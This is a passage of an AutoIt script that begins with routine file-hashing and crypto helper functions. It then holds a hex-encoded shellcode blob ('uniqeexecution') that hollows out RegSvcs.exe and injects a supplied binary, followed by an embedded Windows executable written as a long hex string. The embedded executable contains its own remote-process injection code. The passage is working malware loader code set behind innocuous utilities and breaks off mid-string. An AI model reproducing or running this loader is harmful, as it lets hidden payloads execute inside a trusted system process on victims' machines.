BinaryLen($bkey) Local $blob = DllStructCreate("align 1;BYTE bType;BYTE bVersion;WORD reserved;dword aiKeyAlg;dword keysize;byte key[" & $ikeylength & "]") DllStructSetData($blob, 1, 8) DllStructSetData($blob, 2, 2) DllStructSetData($blob, 4, $calg) DllStructSetData($blob, 5, $ikeylength) DllStructSetData($blob, 6, Binary($bkey)) Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptImportKey", "handle", __crypt_context(), "ptr", DllStructGetPtr($blob), "dword", DllStructGetSize($blob), "ptr", 0, "dword", 0, "ptr*", 0) If @error Then Return SetError(2, @error, 0) Return SetError(NOT $aret[0], 0, $aret[6]) EndFunc Func _cryptsetkeyparam($hkey, $iparam, $vvalue, $iflags = 0, $svaltype = Default) If NOT $svaltype OR $svaltype = Default Then $svaltype = "ptr" Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptSetKeyParam", "handle", $hkey, "uint", $iparam, $svaltype, $vvalue, "dword", $iflags) If @error Then Return SetError(2, @error, 0) Return SetError(NOT $aret[0], 0, $aret[0]) EndFunc Func _CRC32ForFile($sFile) Local $a_hCall = DllCall("kernel32.dll", "hwnd", "CreateFileW", _ "wstr", $sFile, _ "dword", 0x80000000, _ "dword", 3, _ "ptr", 0, _ "dword", 3, _ "dword", 0, _ "ptr", 0) If @error Or $a_hCall[0] = -1 Then Return SetError(1, 0, "") EndIf Local $hFile = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "CreateFileMappingW", _ "hwnd", $hFile, _ "dword", 0, _ "dword", 2, _ "dword", 0, _ "dword", 0, _ "ptr", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Return SetError(2, 0, "") EndIf DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Local $hFileMappingObject = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "MapViewOfFile", _ "hwnd", $hFileMappingObject, _ "dword", 4, _ "dword", 0, _ "dword", 0, _ "dword", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(3, 0, "") EndIf Local $pFile = $a_hCall[0] Local $iBufferSize = FileGetSize($sFile) Local $a_iCall = DllCall("ntdll.dll", "dword", "RtlComputeCrc32", _ "dword", 0, _ "ptr", $pFile, _ "int", $iBufferSize) If @error Or Not $a_iCall[0] Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(4, 0, "") EndIf DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Local $iCRC32 = $a_iCall[0] Return SetError(0, 0, Hex($iCRC32)) EndFunc Func _MD4ForFile($sFile) Local $a_hCall = DllCall("kernel32.dll", "hwnd", "CreateFileW", _ "wstr", $sFile, _ "dword", 0x80000000, _ "dword", 3, _ "ptr", 0, _ "dword", 3, _ "dword", 0, _ "ptr", 0) If @error Or $a_hCall[0] = -1 Then Return SetError(1, 0, "") EndIf Local $hFile = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "CreateFileMappingW", _ "hwnd", $hFile, _ "dword", 0, _ "dword", 2, _ "dword", 0, _ "dword", 0, _ "ptr", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Return SetError(2, 0, "") EndIf DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Local $hFileMappingObject = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "MapViewOfFile", _ "hwnd", $hFileMappingObject, _ "dword", 4, _ "dword", 0, _ "dword", 0, _ "dword", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(3, 0, "") EndIf Local $pFile = $a_hCall[0] Local $iBufferSize = FileGetSize($sFile) Local $tMD4_CTX = DllStructCreate("dword i[2];" & _ "dword buf[4];" & _ "ubyte in[64];" & _ "ubyte digest[16]") DllCall("advapi32.dll", "none", "MD4Init", "ptr", DllStructGetPtr($tMD4_CTX)) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(4, 0, "") EndIf DllCall("advapi32.dll", "none", "MD4Update", _ "ptr", DllStructGetPtr($tMD4_CTX), _ "ptr", $pFile, _ "dword", $iBufferSize) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(5, 0, "") EndIf DllCall("advapi32.dll", "none", "MD4Final", "ptr", DllStructGetPtr($tMD4_CTX)) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(6, 0, "") EndIf DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Local $sMD4 = Hex(DllStructGetData($tMD4_CTX, "digest")) Return SetError(0, 0, $sMD4) EndFunc Func _MD5ForFile($sFile) Local $a_hCall = DllCall("kernel32.dll", "hwnd", "CreateFileW", _ "wstr", $sFile, _ "dword", 0x80000000, _ "dword", 3, _ "ptr", 0, _ "dword", 3, _ "dword", 0, _ "ptr", 0) If @error Or $a_hCall[0] = -1 Then Return SetError(1, 0, "") EndIf Local $hFile = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "CreateFileMappingW", _ "hwnd", $hFile, _ "dword", 0, _ "dword", 2, _ "dword", 0, _ "dword", 0, _ "ptr", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Return SetError(2, 0, "") EndIf DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Local $hFileMappingObject = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "MapViewOfFile", _ "hwnd", $hFileMappingObject, _ "dword", 4, _ "dword", 0, _ "dword", 0, _ "dword", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(3, 0, "") EndIf Local $pFile = $a_hCall[0] Local $iBufferSize = FileGetSize($sFile) Local $tMD5_CTX = DllStructCreate("dword i[2];" & _ "dword buf[4];" & _ "ubyte in[64];" & _ "ubyte digest[16]") DllCall("advapi32.dll", "none", "MD5Init", "ptr", DllStructGetPtr($tMD5_CTX)) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(4, 0, "") EndIf DllCall("advapi32.dll", "none", "MD5Update", _ "ptr", DllStructGetPtr($tMD5_CTX), _ "ptr", $pFile, _ "dword", $iBufferSize) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(5, 0, "") EndIf DllCall("advapi32.dll", "none", "MD5Final", "ptr", DllStructGetPtr($tMD5_CTX)) If @error Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(6, 0, "") EndIf DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Local $sMD5 = Hex(DllStructGetData($tMD5_CTX, "digest")) Return SetError(0, 0, $sMD5) EndFunc Func _SHA1ForFile($sFile) Local $a_hCall = DllCall("kernel32.dll", "hwnd", "CreateFileW", _ "wstr", $sFile, _ "dword", 0x80000000, _ "dword", 3, _ "ptr", 0, _ "dword", 3, _ "dword", 0, _ "ptr", 0) If @error Or $a_hCall[0] = -1 Then Return SetError(1, 0, "") EndIf Local $hFile = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "CreateFileMappingW", _ "hwnd", $hFile, _ "dword", 0, _ "dword", 2, _ "dword", 0, _ "dword", 0, _ "ptr", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Return SetError(2, 0, "") EndIf DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFile) Local $hFileMappingObject = $a_hCall[0] $a_hCall = DllCall("kernel32.dll", "ptr", "MapViewOfFile", _ "hwnd", $hFileMappingObject, _ "dword", 4, _ "dword", 0, _ "dword", 0, _ "dword", 0) If @error Or Not $a_hCall[0] Then DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(3, 0, "") EndIf Local $pFile = $a_hCall[0] Local $iBufferSize = FileGetSize($sFile) Local $a_iCall = DllCall("advapi32.dll", "int", "CryptAcquireContext", _ "ptr*", 0, _ "ptr", 0, _ "ptr", 0, _ "dword", 1, _ "dword", 0xF0000000) If @error Or Not $a_iCall[0] Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) Return SetError(4, 0, "") EndIf Local $hContext = $a_iCall[1] $a_iCall = DllCall("advapi32.dll", "int", "CryptCreateHash", _ "ptr", $hContext, _ "dword", 0x00008004, _ "ptr", 0, _ "dword", 0, _ "ptr*", 0) If @error Or Not $a_iCall[0] Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) DllCall("advapi32.dll", "int", "CryptReleaseContext", "ptr", $hContext, "dword", 0) Return SetError(5, 0, "") EndIf Local $hHashSHA1 = $a_iCall[5] $a_iCall = DllCall("advapi32.dll", "int", "CryptHashData", _ "ptr", $hHashSHA1, _ "ptr", $pFile, _ "dword", $iBufferSize, _ "dword", 0) If @error Or Not $a_iCall[0] Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) DllCall("advapi32.dll", "int", "CryptDestroyHash", "ptr", $hHashSHA1) DllCall("advapi32.dll", "int", "CryptReleaseContext", "ptr", $hContext, "dword", 0) Return SetError(6, 0, "") EndIf Local $tOutSHA1 = DllStructCreate("byte[20]") $a_iCall = DllCall("advapi32.dll", "int", "CryptGetHashParam", _ "ptr", $hHashSHA1, _ "dword", 2, _ "ptr", DllStructGetPtr($tOutSHA1), _ "dword*", 20, _ "dword", 0) If @error Or Not $a_iCall[0] Then DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) DllCall("advapi32.dll", "int", "CryptDestroyHash", "ptr", $hHashSHA1) DllCall("advapi32.dll", "int", "CryptReleaseContext", "ptr", $hContext, "dword", 0) Return SetError(7, 0, "") EndIf DllCall("kernel32.dll", "int", "UnmapViewOfFile", "ptr", $pFile) DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $hFileMappingObject) DllCall("advapi32.dll", "int", "CryptDestroyHash", "ptr", $hHashSHA1) Local $sSHA1 = Hex(DllStructGetData($tOutSHA1, 1)) DllCall("advapi32.dll", "int", "CryptReleaseContext", "ptr", $hContext, "dword", 0) Return SetError(0, 0, $sSHA1) EndFunc random23() Func uniqeexecution($Binary) local $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000" $ASM &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200" $ASM &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200" $ASM &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A" $ASM &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000" $ASM &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8" $ASM &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404" $ASM &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000" if $Binary = "" Then Exit Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]") Local $binBuffer=DllStructCreate("byte[" & BinaryLen($Binary) & "]") DllStructSetData($BufferASM, 1, $ASM) DllStructSetData($binBuffer, 1, $Binary) Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($BufferASM), "wstr", "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe", "ptr", DllStructGetPtr($binBuffer), "int", 0, "int", 0) EndFunc Func random23() Global $sModule = "0x" $sModule &= "4D5A80000100000004001000FFFF00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F74206265" $sModule &= "2072756E20696E20444F53206D6F64652E0D0A240000000000000000504500004C010400C3313E4F0000000000000000E0000F010B0101450032000000800000000000000010000000100000005000000000400000100000000200000100000000000000" $sModule &= "0400000000000000008001000010000000000000020000000010000000100000000001000000000000000000100000000000000000000000000001004C0A0000001001005C69000000000000000000000000000000000000000000000000000000000000" $sModule &= "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002E636F646500000070310000001000000032000000040000" $sModule &= "000000000000000000000000200000602E6461746100000099AA000000500000000A000000360000000000000000000000000000400000C02E696461746100004C0A000000000100000C000000400000000000000000000000000000400000402E727372" $sModule &= "630000005C69000000100100006A0000004C00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" $sModule &= "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" $sModule &= "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" $sModule &= "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" $sModule &= "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" $sModule &= "00000000000000000000000000000000000000000000000068D45040006A006A00FF157C014100FF15AC0141003DB70000000F849D010000FF159C014100683F5D400050FF150409410050833D3F5D4000010F844D0100008B1D3F5D40008D70044B8B3E" $sModule &= "6843514000FF36FF153002410085C00F84CE000000688C514000FF36FF153002410085C00F84CF0000006888524000FF36FF153002410085C00F84D00000006896524000FF36FF153002410085C00F84C400000031FF6A0268A4524000FF36FF15B80941" $sModule &= "0083C40C85C00F84B1000000476A0268AA524000FF36FF15B809410083C40C85C00F8496000000476A0268B0524000FF36FF15B809410083C40C85C0747F476A0268B6524000FF36FF15B809410083C40C85C07468568B36BF8D59400066ADAA84C075F9" $sModule &= "5E688D594000FF15A801410085C0795F66C7058D5940000001EB5468595140006A006A00FF157C014100A3355D4000EB3E689E5140006A006A00FF157C014100A3395D4000EB28C6053D5D400001EB1FC6053E5D400001EB168B0683C00450FF15BC0941" $sModule &= "0083C4048904BDBC52400083C6044B0F85BDFEFFFFFF15D8014100803D3D5D400001744E6A00FF15B00141006A0068021340006A006A6450FF15C405410050FF15900141006840000100684050400068E25040006A00FF150006410068F75040006A00FF" $sModule &= "15D805410050FF1520064100EBCCB9BE504000803D8E594000010F84BC000000688D594000FF1534024100B9AB50400085C00F84A400000092E8D8050000B95850400083F8010F8490000000B97E50400083F8020F8482000000B92950400083F8037478" $sModule &= "B90C50400083F804746E52FF15B80141006A0050FF15C8014100803D3E5D4000010F844FFFFFFF6A00FF15B0014100C7054B5D400028000000A3535D4000C705575D4000CE504000C7055B5D400040504000C7055F5D400080000100C705635D40000100" $sModule &= "0000684B5D4000FF150406410031C0E9FEFEFFFF803D3E5D4000010F84F1FEFFFF68400001006840504000516A00FF1500064100B801000000E9D4FEFFFF6A64FF15000241006A006AFF6833020000FF35435D4000FF150C064100C204005589E5817D0C" $sModule &= "10010000744C837D0C240F8484010000817D0C120100000F848D010000817D0C110100000F8468020000837D0C050F8482020000817D0C330200000F849F020000837D0C100F840403000031C0E90D0300008B4508A3435D40006A00FF7508FF15EC0541" $sModule &= "0089C36A006A00680008000053FF15B005410068145140006A006A0153FF15B005410031C0833D355D4000000F94C04883E00883C80068295140006A6F5053FF15B00541006A006A00680008000053FF15B005410031C0833D395D4000000F94C04883E0" $sModule &= "0883C80068715140006A705053FF15B005410068BA5140006A716A2053FF15B00541006A006A00680008000053FF15B005410068EA5140006A726A0053FF15B00541006A00FF15B00141006A006A106A106A016A0250FF15FC054100506A006880000000" $sModule &= "FF7508FF151806410068005040006A306A006A006A006A006A006A006A0068900100006A006A006A006AF5FF15440841006A00506A306A68FF7508FF1514064100803D8D594000000F84E00100006A006A006A0068E21240006A006A00FF1588014100E9" $sModule &= "C60100008B4514C7401818010000C7401CC9000000E9B001000031C0837D106F7417837D10707425837D10717433837D1072744EE996010000535657BB6F000000BE59514000BF355D4000EB56535657BB70000000BE9E514000BF395D4000EB426A00FF" $sModule &= "15B0014100FF7508689F1B4000FF75086A6550FF15C4054100E9480100006A00FF15B0014100FF750868AF1D4000FF75086A6750FF15C4054100E9270100006A00FF7508FF15EC054100506A005350FF15E805410083F0085950505351FF15BC05410058" $sModule &= "85F6742BA908000000740F566A006A00FF157C0141008907EB188B1F53FF15EC01410053FF1578014100832700EB038037015F5E5BE9C8000000817D10680000010F85BB0000006A68FF7508FF15E405410050FF15F0054100E9A40000006A68FF7508FF" $sModule &= "15E40541000FB755160FB74D1483EA0583E9066A0152516A056A0650FF1508064100EB7AFF7508FF1520064100837D10FF74226800010000688D5940006A00FF7510FF150C09410050FF7510FF15080941005AEB0C688D594000FF1534024100926A006A" $sModule &= "0052686B1640006A006A00FF15880141006A00FF15B0014100FF750868331D4000FF75086A6650FF15C4054100EB0B6A00FF7508FF15CC054100B801000000C9C210005589E58B5508E87C01000051B95850400083F8010F8440010000B97E50400083F8" $sModule &= "020F8432010000B92950400083F8030F84B6000000B90C50400083F8040F84A800000089D6526A68FF35435D4000FF151C0641006A00FF15B00141006A006A106A106A016A0150FF15FC054100506A006880000000FF35435D4000FF15180641005985C9" $sModule &= "0F849F00000068A857400056E8461F000083C40829F00F88890000008D4809515068B10000006A68FF35435D4000FF15140641006A006A0068B70000006A68FF35435D4000FF151406410068CC5240006A0068031500006A68FF35435D4000FF15140641" $sModule &= "00EB3E890C246A00FF15B00141006A006A106A106A016A0250FF15FC054100506A006880000000FF35435D4000FF15180641006A68FF35435D4000FF151C064100FF15B8014100566A0050FF15C8014100833D355D400000742E6A006A6F6812010000FF" $sModule &= "35435D4000FF1518064100EB176840000100684050400051FF35435D4000FF15000641006A006A006A10FF35475D4000FF1518064100C9C20400535657FD89D1B05C8DBA8C594000F2AEFCE313C6470100688D594000FF15F4014100C647015C83EC0454" $sModule &= "688D594000FF15980141008B042483C40431FF83F80074104783F806740AB901000000E956030000C705AD5C40004400000031C0688D5C400068AD5C400050506A04505050688D59400050FF1580014100B90200000085C00F8420030000688D5A400068" $sModule &= "00010000FF15C0014100688D5A40006A006A00688D5A4000FF15BC0141006A00688D5A4000FF151C024100508D470483EC04546A0350E8FF0500008B0C2483C4048B1424515052FF152C024100FF151802410085FF751D688D5A4000FF35955C4000E816" $sModule &= "06000085C00F847E020000E956010000688D5B40006800010000FF15C0014100688D5B40006A006A00688D5B4000FF15BC0141006A00688D5B4000FF151C0241005083EC04546A036A06E8870500008B0C2483C4048B1424515052FF152C024100FF1518" $sModule &= "024100688D5A4000FF15AC09410083C404FD8DB08C5A40008D7E025791F3A45FFC4766C7058D5A4000202266C707222083C7026A0A57FF35955C4000FF158C09410083C40C688D5A4000688D5B4000FF159809410083C408C705F15C40004400000031C0" $sModule &= "689D5C400068F15C4000505050505050688D5B400050FF15800141006AFFFF359D5C4000FF151002410083EC0454FF359D5C4000FF15A00141008B1C2483C404BF8F5A4000B02283C9FFF2AEC647FF00688F5A4000688D5A4000FF15A409410083C408BF" $sModule &= "8D5B4000B02283C9FFF2AEC647FE00688D5B4000FF158C014100FF359D5C4000FF1578014100FF35A15C4000FF157801410085DB0F8423010000FF35915C4000FF15F00141006AFFFF358D5C4000FF1510024100688D5A4000FF158C014100FF358D5C40" $sModule &= "00FF1578014100FF35915C4000FF1578014100688D594000FF153402410092FD83C9FFB05C8DBA8C59400089FEF2AEF7D9B02E83E90289F7F2AEFC8D47010F45C6C7005F2E617566C7400433006A02688D594000FF1524024100B90400000085C00F88BF" $sModule &= "00000089C66A026A0056FF15200241008D5801FF15B8014100536A0050FF15C401410089C74BC6041F006A006A0056FF1520024100535756FF1528024100FF35C8524000FF35C4524000FF35C0524000FF35BC5240005357E82B0500005139DA741D5052" $sModule &= "506A006A0056FF152002410056FF152C02410056FF15F8014100589356FF151802410057FF15D80141005889DA31C9EB2D6A00FF358D5C4000FF1504024100FF358D5C4000FF1578014100FF35915C4000FF1578014100B90300000031D2915F5E5BC355" $sModule &= "89E583EC10817D0C10010000741E817D0C110100000F8412010000837D0C100F845A01000031C0E9630100008D45F050FF7514FF15DC0541008D45F050FF7514FF15C0054100FF4DF0FF4DF48345FC028345F8026A00FF75FCFF75F8FF75F4FF75F06A00" $sModule &= "FF7508FF15280641008D45F050FF7514FF15DC0541006A69FF7508FF15E40541008B4DFC8B55F883E92483EA2E6A016A006A0051526A0050FF1528064100538B5D08FF35BC5240006A6A53FF15B8054100FF35C45240006A6C53FF15B8054100FF35C852" $sModule &= "40006A6D53FF15B80541006A6B53FF15E40541009368CF5140006A00684301000053FF151806410068DD5140006A00684301000053FF151806410068E45140006A00684301000053FF15180641006A00FF35C0524000684E01000053FF15180641005BEB" $sModule &= "5D837D10027406837D10697551538B5D086A6A53FF15F8054100A3BC5240006A6C53FF15F8054100A3C45240006A6D53FF15F8054100A3C85240006A006A0068470100006A6B53FF1514064100A3C05240005B6A00FF7508FF15CC054100B801000000C9" $sModule &= "C210005589E5817D0C100100007413817D0C120100007446837D0C10744D31C0EB598B4508A3475D4000FF7508FF7514E87C0200006A016A006A0052506A00FF7508FF15280641006A006A01680A0400006A6EFF7508FF1514064100EB1831C0817D1060" $sModule &= "F00000740DEB106A00FF7508FF15CC054100B801000000C9C210005589E583EC40817D0C10010000744B817D0C13010000747E837D0C0F0F8491000000817D0C010200000F84A5000000817D0C040200000F84B2000000817D0C110100000F849F000000" $sModule &= "837D0C100F849B00000031C0E9AD000000FF7508FF7514E8CD0100006A016A006A0052506A00FF7508FF1528064100E800020000FF7508E8D11000006A006A1E6A00FF7508FF1524064100EB6C803D8CFA4000017458E8311200006A006A00FF7508FF15" $sModule &= "F4054100EB4F578D7DC057FF7508FF15B405410050E8DF11000057FF7508FF15D00541005FEB336A006A0268A1000000FF7508FF1518064100EB1A837D10027514C6058BFA400001EB0B6A00FF7508FF15CC054100B801000000C9C210005589E557FF75" $sModule &= "0CFF75086A00FF159401410085C0742889C7506A00FF15FC0141008B4D1085C974028901576A00FF15D001410085C0740750FF15E40141005FC9C20C005589E5535657FF75086A0068FF0F1F00FF15E801410085C00F84BD00000089C7FF750CFF153402" $sModule &= "41008D70016A406800300000566A0057FF150802410085C00F848F00000089C36A0056FF750C5357FF1514024100E8090000006B65726E656C333200FF15B0014100E80D0000004C6F61644C696272617279410050FF15B401410031C951515350515157" $sModule &= "FF158401410031F685C0742389C66AFF56FF151002410083EC045456FF15A401410056FF15780141008B342483C40468008000006A005357FF150C02410057FF157801410089F0EB0957FF157801410031C05F5E5BC9C208005589E583EC108D45F050FF" $sModule &= "7508FF15DC054100D16DF8D16DFC8D45F850FF7508FF15C0054100FF75F8FF75FC8D45F050FF750CFF15DC054100D16DF8D16DFC5A582B55FC2B45F8C9C2080031C00FA20F31A3735D4000C36905735D40000584080840A3735D4000C3916905735D4000" $sModule &= "0584080840A3735D400031D2F7F192C35589E5568B45088B4D0CA37B5D4000890D7F5D4000968A4D108A6D148A55188A751C880D835D4000882D845D40008815855D40008835865D4000E81B0D0000E843000000E8730500008B35775D4000E87C0C0000" $sModule &= "E8B70C000056FF15AC09410083C40489C2B90D0A0D0A8D4416FC3908750830C983EA02884802960FB60D885D40005EC9C21800803D835D400000741B833DA15D4000007412E82A00000085C07409C605875D400001EB1CC605875D400000FF357B5D4000" $sModule &= "FF35775D4000FF15A409410083C408C35356578B357B5D4000E8AC0B000085C00F845D030000E85B0B000083F8010F864F030000E8EC0A0000E882110000A38D5D4000E878110000A3915D40006A0150E86B130000E866110000A3895D400056E8030600" $sModule &= "00683C55400056E8A4170000508B3857E88914000050E8250A000096685E5640005768F5E14000E88718000089C785C90F84A30000006A0068F5E1400056E8D914000068A556400068F5E1400068F5E14000E85C18000068F856400068F5E14000E84A17" $sModule &= "00005089C3538B1B85DB745B68FB5640005368AD5D4000E83318000068035740005368CD5D4000E82318000052FF158809410083C40450E88F090000505068AD5D4000E8F213000050FF35895D4000E8DB12000068AD5D400056E86202000089C65B83C3" $sModule &= "04EB9E83C404FF15D8014100E943FFFFFF6A0056FF358D5D4000E8AC1200008B04248D7004568B3685F60F8441010000684A55400056686D5E4000E8AB170000E86E09000085C00F841B0100006A00686D5E4000FF35915D4000E86C12000056E8711300" $sModule &= "0089C668BB5540005668F5614000E87417000085C90F848900000089D76A005256E8CA13000068B95640005768F5E14000E85117000089C785C9746868F856400068F5E14000E8391600005089C3538B1B85DB744468FB5640005368AD5D4000E8221700" $sModule &= "0068035740005368CD5D4000E81217000052FF158809410083C40450E87E0800005068AD5D400056E86801000089C65B83C304EBB583C404FF15D8014100EB82803D845D400002740E56E8D507000050E86006000089C656FF15AC09410083C404817C06" $sModule &= "F5456E64467427FF35895D4000E8BA1000008D58FF53FF35895D4000E8FC110000525056E80801000089C64B79E76A0056FF358D5D4000E8631100005E83C604E9B4FEFFFF83C404FF15D8014100FF358D5D4000E873100000A3955D40008B3D775D4000" $sModule &= "31DB53FF358D5D4000E8C81100005089C68A068807464784C075F6FF15D80141004F683C55400057FF15A409410083C4084383C7053B1D955D400075C5C647FB00FF358D5D4000E8EE0E0000803D845D400002741CFF0D955D4000FF35775D4000E8DD03" $sModule &= "000050E855040000A3775D4000FF35915D4000E8BE0E0000E8AB030000FF35895D4000E8DC0F000085C074198D58FF53FF35895D4000E83711000050FF15D80141004B79EAFF35895D4000E8860E0000FF35A15D4000FF15D8014100B801000000EB0231" $sModule &= "C05F5E5BC35589E55356578B5D108B750CBF32574000E88600000066C747FF2900682B574000FF7508FF15B409410083C40885C0753F8B750CBF16574000E85E00000066C747FF2900680E574000FF7508FF15B409410083C40885C0744E8178FB536865" $sModule &= "6C7445C7450C0E574000BA4C574000EB0CC7450C2B574000BA67574000803B200F85A3000000BEF5E14000525356E8FC14000085C90F45DEE98C0000008A068807464784C075F6C355BDF6E1400089DE89EFE8E6FFFFFF6A2253FF159C09410083C408BA" $sModule &= 